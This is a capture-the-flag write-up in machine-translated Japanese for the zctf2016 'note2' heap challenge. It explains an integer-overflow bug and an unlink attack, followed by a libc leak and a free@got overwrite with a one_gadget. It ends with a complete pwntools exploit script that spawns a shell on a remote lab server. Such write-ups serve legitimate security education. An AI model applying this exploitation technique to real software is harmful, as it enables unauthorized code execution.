zctf2016_note2
ステップ
- 定期検査、64ビットプログラム、カナリア、nxが有効になっている
- 一般的な状況、古典的なスタッキングメニューを確認するために試してみてください
- プログラムを見やすくするために64ビットidaがロードされています
。unsigned_int64の
ときに関数名New_note()を変更しましたが、forループのiはint64でした。C言語では、符号なし変数と符号付き変数は誰もが知っています。比較する場合、符号付き変数は比較のために符号なし変数に変換されます。だからここでサイズが0のとき。(unsigned int)(size-1)は非常に大きな整数であり、整数オーバーフローの脆弱性があります
show_note()
edit_note()、1は上書き、2はadd
delete_note()
アイデアを使う
- 要求されたヒープブロックのポインターはbssセグメントに配置されるため、ポインターのアドレスを知ることができるため、unlinkの使用を検討してください。unlinkを使用して、チャンクを格納しているptr配列に割り当てます。
- チャンクのアドレスを取得したテーブルのアドレスに変更して、libcをリークします
- 編集関数を使用してfree @ gotをシステム関数のアドレスに変更し、プログラムを再度実行して、パラメータ「/ bin / sh \ x00」を入力します。つまり、system( "/ bin / sh")を実行します。シェルを取得します。
利用プロセス:
- 1つ目は、リンク解除が
最初にリンク解除中のヒープの理想的な状態を設計することです。その中で、chunk2が解放されます。後方マージを実行するときは、偽のチャンクPのリンクを解除します。最終的な結果は、ptr0が&ptr0-0x18を指す
ようにして、上の図に示すヒープ構造を構築することです。
チャンク0の偽のチャンクは、最初に新しいノートを呼び出すときに直接完了することができます。
チャンク2のpre_sizeフィールドとsizeフィールドを完了するには、chunk1がオーバーフローする必要があります。チャンク0、チャンク1、チャンク2を申請した後、チャンク1を解放してfastbinに入れ、再度申請します。任意の長さの新しいメモを書き込む脆弱性のため、chunk1はオーバーフローしてchunk2のヘッダーを変更し、それによってfake_chunkのサイズに関するunlinkのチェックをバイパスします。
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "bb") #note2
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)
delete_note(2)
- libcをリーク
してリンク解除を完了すると、任意のアドレスで読み取りと書き込みが可能なスペースが得られます。このスペースを使用して、free @ gotをリークし、プログラムのオフセットを計算できます。
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
edit_note(0, 1, payload)
gdb.attach(io)
show_note(0)
io.recvuntil("is ")
free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))
- オフセットを取得したら、free @ gotをone_gadgetに変更できます。
最初はsystemに変更することを考えましたが、チャンクアドレスのコンテンツが削除時に解放されなかったため、system( '/ bin / sh'はできませんでした)実行))、one_gadgetに変更しました(get libc、レジスタのフルセットの条件下でone_gadgetを使用する方が便利です)、変更後、シェルを直接取得できます
完全な経験
#coding=utf-8
from pwn import *
io = remote('node3.buuoj.cn',29792)
#io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.23-64.so")
#context.log_level = "debug"
def new_note(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(")")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def show_note(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(index))
def edit_note(index, choice, content):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil("]")
io.sendline(str(choice))
io.recvuntil(":")
io.sendline(content)
def delete_note(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil(":")
io.sendline("/bin/sh") #name
io.recvuntil(":")
io.sendline("ddd")
ptr_0 = 0x602120
fake_fd = ptr_0 - 0x18
fake_bk = ptr_0 - 0x10
note0_content = "\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk)
new_note(0x80, note0_content) #note0
new_note(0x0, "aa") #note1
new_note(0x80, "/bin/sh") #note2
#gdb.attach(io)
delete_note(1)
note1_content = "\x00" * 16 + p64(0xa0) + p64(0x90)
new_note(0x0, note1_content)
delete_note(2) #unlink
#gdb.attach(io)
# 泄漏libc
free_got = elf.got["free"]
payload = 0x18 * "a" + p64(free_got)
#gdb.attach(io)
edit_note(0, 1, payload)
#gdb.attach(io)
show_note(0)
io.recvuntil("is ")
free_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = free_addr - libc.symbols["free"]
print("libc address: " + hex(libc_addr))
#get shell
system_addr = libc_addr + libc.symbols["system"]
one_gadget = libc_addr + 0xf02a4
edit_note(0, 1, p64(one_gadget)) #overwrite free got -> system address
#io.sendlineafter('option--->>','/bin/sh\x00')
io.interactive()
この質問は主にリンク解除の知識を使用しています。よくわからない場合は、私の前の記事を読むことができます。
参照wp:https://blog.csdn.net/weixin_38419913/article/details/103333195